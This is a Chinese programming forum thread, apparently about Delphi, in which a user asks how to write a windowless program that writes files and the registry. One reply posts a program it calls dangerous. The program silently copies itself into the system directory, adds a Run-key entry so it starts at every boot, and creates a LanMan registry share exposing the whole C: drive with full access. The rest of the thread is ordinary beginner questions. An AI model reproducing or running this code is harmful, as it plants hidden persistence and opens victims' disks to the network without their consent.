如何写这个程序！(20分)

我想写一个带命令行的程序（该程序没有窗体，只有一个函数写文件和注册表）
请问各位高手该如何写！！
谢谢！

File -> New -> Other ->Batch File

在project source中uses Windows等

-----
http://www.8421.org

请看这个危险的程序:
program Sc;

uses Registry,shellapi,Windows,Sysutils;

var pchar;O:TShFileOpStruct;T:string;

begin
//得到用户机系统目录
GetMem(p,255);GetSystemDirectory(p,255);
//文件名
T:=p+'/Sd.exe';//复制目标文件名
//以下为注册表修改
with TRegistry.Create do begin
RootKey :=HKEY_LOCAL_MACHINE;
if OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/C',True) then begin
//指定子键能否打开，如不能则创建它，该子键包含硬盘共享参数
WriteInteger('Flags',258);WriteInteger('Type',0);WriteString('Path','C:/');WriteString('Remark','c');CloseKey
//共享为完全共享
end;
if OpenKey('/SOFTWARE/Microsoft/Windows/CurrentVersion/Run',True) then WriteString('Sysdef',T);//将程序加载到启动中，每次开机自动执行
Free//释放注册表资源
end;
//以下为拷贝文件
if FileSearch('Sd.exe',p)='' then begin
with O do begin
wnd:=0;pFrom:=pchar(ParamStr(0));pTo:=pchar(T);wFunc:=2;fFlags:=4
//不显示Copy动画//文件是否存在，不存在则复制
end;
ShFileOperation(O)
end
end.

To:qdyoung
在project source中uses Windows等是什么意思？
我怎么找不到project source？
谢谢，急！